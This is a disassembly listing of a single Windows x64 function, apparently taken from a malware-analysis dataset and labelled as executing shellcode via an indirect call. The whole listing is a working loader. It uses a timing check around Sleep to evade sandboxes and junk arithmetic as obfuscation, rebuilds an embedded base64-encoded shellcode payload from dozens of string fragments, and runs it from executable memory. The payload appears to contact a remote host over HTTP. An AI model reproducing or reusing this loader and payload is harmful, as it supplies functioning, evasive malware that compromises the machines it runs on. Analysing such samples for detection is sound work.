Function at 0x40186a
Capabilities:
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x640
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
call sub.msvcrt.dll_clock
mov dword [rbp - 4], eax
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
imul eax, ecx
mov dword [0x00403004], eax
mov eax, 0x26a
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
call sub.msvcrt.dll_clock
mov dword [rbp - 8], eax
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
movabs rax, 0x950
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x10], rax
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
mov eax, dword [rbp - 8]
mov ecx, dword [rbp - 4]
sub eax, ecx
cmp eax, 0x26a
jl 0x401946
mov eax, dword [rbp - 8]
mov ecx, dword [rbp - 4]
sub eax, ecx
cmp eax, 0x2ce
jge 0x401946
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
lea rax, [0x00403016]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
jmp 0x401971
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
lea rax, str.uOLu
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
jmp 0x402751
lea rax, str.OTBmYzQ4ODNlNGYwZThjODAwMDAwMDQxNTE0MTUwNTI1MT
mov qword [rbp - 0x18], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.U2NDgzMWQyN
mov qword [rbp - 0x20], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.jU0ODhiNTI2MDQ4OGI1MjE4NDg4YjUyMjA0ODhiNzI1MDQ4MGZ
mov qword [rbp - 0x28], rax
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
imul eax, ecx
mov dword [0x00403004], eax
lea rax, str.iNzRhNGE0ZDMxYzk0ODMxYzBhYzNjNjE3YzAyMmMyMDQxYzFjOTBkNDEwMWMxZTJlZ
mov qword [rbp - 0x30], rax
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
lea rax, str.DUyNDE1MTQ4OGI1MjIwOGI0MjNjNDgwMWQwNjY4MTc4MTgwYjAyNzU3MjhiODA4ODAwMDAwMDQ4O
mov qword [rbp - 0x38], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.DVjMDc0Njc0ODAxZDA1MDhiNDgxODQ0OGI0MDIwNDkwMWQwZTM1NjQ4ZmZjOTQxOGIzNDg4NDgwMWQ2NGQzMWM5NDgzMWMwYWM
mov qword [rbp - 0x40], rax
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.0MWMxYzkwZDQxMDFjM
mov qword [rbp - 0x48], rax
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
lea rax, str.TM4ZTA3NWYxNGMwMzRjMjQwODQ1MzlkMTc1ZDg1ODQ0OGI0MDI0NDkwMWQwNjY0MThiMGM0ODQ0
mov qword [rbp - 0x50], rax
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
lea rax, str.OGI0MDFjNDkwMWQwNDE4YjA0ODg0ODAxZDA0MTU4NDE1ODVlNTk1YTQxNTg0MTU5NDE1YTQ4ODNlYzIwN
mov qword [rbp - 0x58], rax
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
imul eax, ecx
mov dword [0x00403004], eax
lea rax, str.DE1MmZmZTA1ODQxNTk1YTQ4OGIxMmU5NGZmZmZmZmY1ZDZhMDA0OWJlNzc2OTZlNj
mov qword [rbp - 0x60], rax
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
lea rax, str.k2ZTY1NzQwMDQxNTY0OTg5Z
mov qword [rbp - 0x68], rax
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.TY0Yzg5ZjE0MWJhNGM3NzI2MDdmZmQ1NDgzMWM5NDgzMWQyNGQzMWMwNGQzMWM5NDE1MDQxNTA0MWJhM2E1Nj
mov qword [rbp - 0x70], rax
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
imul eax, ecx
mov dword [0x00403004], eax
lea rax, str.c5YTdmZmQ1ZWI3MzVhNDg4OWMxNDFiOGJiMDEwMDAwNGQzMWM5NDE1MTQxNTE2YTAzNDE1MTQxYmE1Nzg5OWZjNmZmZ
mov qword [rbp - 0x78], rax
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.DVlYjU5NWI0ODg5YzE0ODMxZDI0OTg5ZDg0ZDMxYzk1
mov qword [rbp - 0x80], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.MjY4MDAwMjQwODQ1MjUyNDFiYWViNTUyZTNiZmZkNTQ4ODljNjQ4ODNjMzUwNmEw
mov qword [rbp - 0x88], rax
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.YTVmNDg4OWYxNDg4OWRhNDljN2MwZmZmZmZmZmY0ZDMxY
mov qword [rbp - 0x90], rax
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.zk1MjUyNDFiYTJkMDYxODdiZmZkNTg1YzAwZjg1OWQwMTAwMDA0OGZmY2Yw
mov qword [rbp - 0x98], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.Zjg0OGMwMTAwMDBlYmQzZTllNDAxMDAwMGU4YTJmZmZmZmYyZjQ4NTE2YjU5MDBmY2EyODU2ZjExZj
mov qword [rbp - 0xa0], rax
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
lea rax, str.BmODRkNDkwNDhiZWEwMjBkYzI0ZGE4ODEzYjNmMmFmMWYyZjc4MzdjOTlhMTI0NjM3YTA2MzVmYjY4MTA5OGI0MGQ1NzczMjg1
mov qword [rbp - 0xa8], rax
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
lea rax, str.MWRiMGU0MjlmNTNhN2VhOWQ1NjAzNzAxNjA3OGM2M2M3Y2EwZmUxN2JlNGY2OGJlZWYw
mov qword [rbp - 0xb0], rax
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.ZWYzMWNiODU5MTAwNTU3MzY1NzIyZDQxNjc2NTZlNzQzYTIwNGQ2ZjdhNjk2YzZjNjEyZjM0MmUzMDIwMjg2MzZmNmQ3MD
mov qword [rbp - 0xb8], rax
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
lea rax, str.YxNzQ2OTYyNmM2NTNiMjA0ZDUzNDk0NTIwMzcyZTMwM2IyMDU3
mov qword [rbp - 0xc0], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.Njk2ZTY0NmY3
mov qword [rbp - 0xc8], rax
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.NzczMjA0ZTU0MjAzNTJlMzEzYjIwNTQ3MjY5NjQ
mov qword [rbp - 0xd0], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.2NTZlNzQyZjM0MmUzMDNiMjAyZTRlNDU1NDIwNDM0YzUyMjAzMjJlMzAyZTM1MzAzNzMyMzcyOTBkMGEwMDc4ZjA3OTJlM
mov qword [rbp - 0xd8], rax
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.zg1NjM2ZmM0ZjU1OWNiYjJkNmQzNzM0NjhiZTA1MDJi
mov qword [rbp - 0xe0], rax
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
imul eax, ecx
mov dword [0x00403004], eax
lea rax, str.OWRjZGNkMDFkZDUyOTY4MTY2NWJjYmJiZDA0NTY2MTUxYmVlZThhZWQ2NTUzMTRhMzR
mov qword [rbp - 0xe8], rax
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.iMTc5NWQyM2FmYzNmZjZhMjhiYjczNjEyNGNhNDFhMjA4NmI0NTIwZmUzZGRmM2ZjOTNlNzl
mov qword [rbp - 0xf0], rax
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.hMWY0ZTNkOGRlNjMyOTYxZDhjNDMzMWZiZDc5MjQzZjYzZGY0MWRlYmE1MWQ5OTdhYjA4ZTc5MWNjNT
mov qword [rbp - 0xf8], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.QwNzBiZTc5MjUyODA2NzgxNDZhMzY0MDUxMzA1NDUyMGNhOGUwYzNmNjczN2Fm
mov qword [rbp - 0x100], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.YzA0ZGRjZDFmZjZkMTVmNzFkMGZjNTk1Y2M4M2VhMDVlNmM2
mov qword [rbp - 0x108], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.ZDhmYjZhZmM3NDIyNjUzNzhmYjU4MjVlODhhZWUyMGVhY
mov qword [rbp - 0x110], rax
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
lea rax, str.TFmOWFlZGRkYjdkNjA2MDUzMzVkOTFiODBmM2JmNzJmMmM
mov qword [rbp - 0x118], rax
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.4MzgyN2RmZThmZDAxZGI4MGJjZTJjZTQxZTJjYmU0ODk4MzBkMjA1OWJhODc0YmJkMmUzNmZlMDA0MWJlZ
mov qword [rbp - 0x120], rax
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
lea rax, str.jBiNWEyNTZmZmQ1NDgzMWM5YmEwMDAwNDA
mov qword [rbp - 0x128], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.wMDQxYjgwMDEwMDAwMDQxYjk0MDAwMDAwMDQxYmE1OGE0NTNlNWZmZDU0ODkzNTM1MzQ4ODllNzQ4ODlmMTQ4O
mov qword [rbp - 0x130], rax
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
lea rax, str.DlkYTQxYjgwMDIwMDAwMDQ5ODlmOTQxYmExMjk2ODllMmZmZDU0ODgzYzQyMDg1YzA3NGI2NjY4YjA3NDgwMWM
mov qword [rbp - 0x138], rax
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.zODVjMDc1ZDc1ODU4NTg0ODA1MDAwMDAwMDA1
mov qword [rbp - 0x140], rax
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.MGMzZTg5ZmZkZmZmZjMxMzkzMjJlMzE
mov qword [rbp - 0x148], rax
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
imul eax, ecx
mov dword [0x00403004], eax
lea rax, str.zNjM4MmUzODMxMmUzMTMyMzgwMDNhZGU2OGIx
mov qword [rbp - 0x150], rax
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
mov eax, 0
mov byte [rbp - 0x5f9], al
movabs rax, 0x4a8
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x5f8]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
mov rax, qword [rbp - 0x18]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcpy
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x28]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x30]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x38]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x40]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0x48]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x50]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x58]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x60]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0x68]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x70]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0x78]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0x80]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0x88]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
imul eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0x90]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0x98]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xa0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0xa8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0xb0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0xb8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xc0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xc8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xd0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xd8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0xe0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xe8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xf0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0xf8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0x100]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0x108]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x110]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0x118]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x120]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0x128]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0x130]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x138]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0x140]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0x148]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
imul eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0x150]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, [0x00403998]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov qword [rbp - 0x608], rax
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0x608]
mov r11, rax
lea rax, [rbp - 0x5f9]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.00401800
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov eax, 0x40
mov r9, rax
mov eax, 0x3000
mov r8, rax
movabs rax, 0x4a9
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_VirtualAlloc
mov qword [rbp - 0x610], rax
movabs rax, 0x4a9
mov r8, rax
lea rax, [rbp - 0x5f9]
mov r11, rax
mov rax, qword [rbp - 0x610]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memmove
mov rax, qword [rbp - 0x610]
mov qword [rbp - 0x618], rax
mov r11, qword [rbp - 0x618]
call r11
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
add eax, ecx
mov ecx, dword [0x00403008]
add eax, ecx
mov r11, rax
lea rax, [0x0040399a]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
leave
ret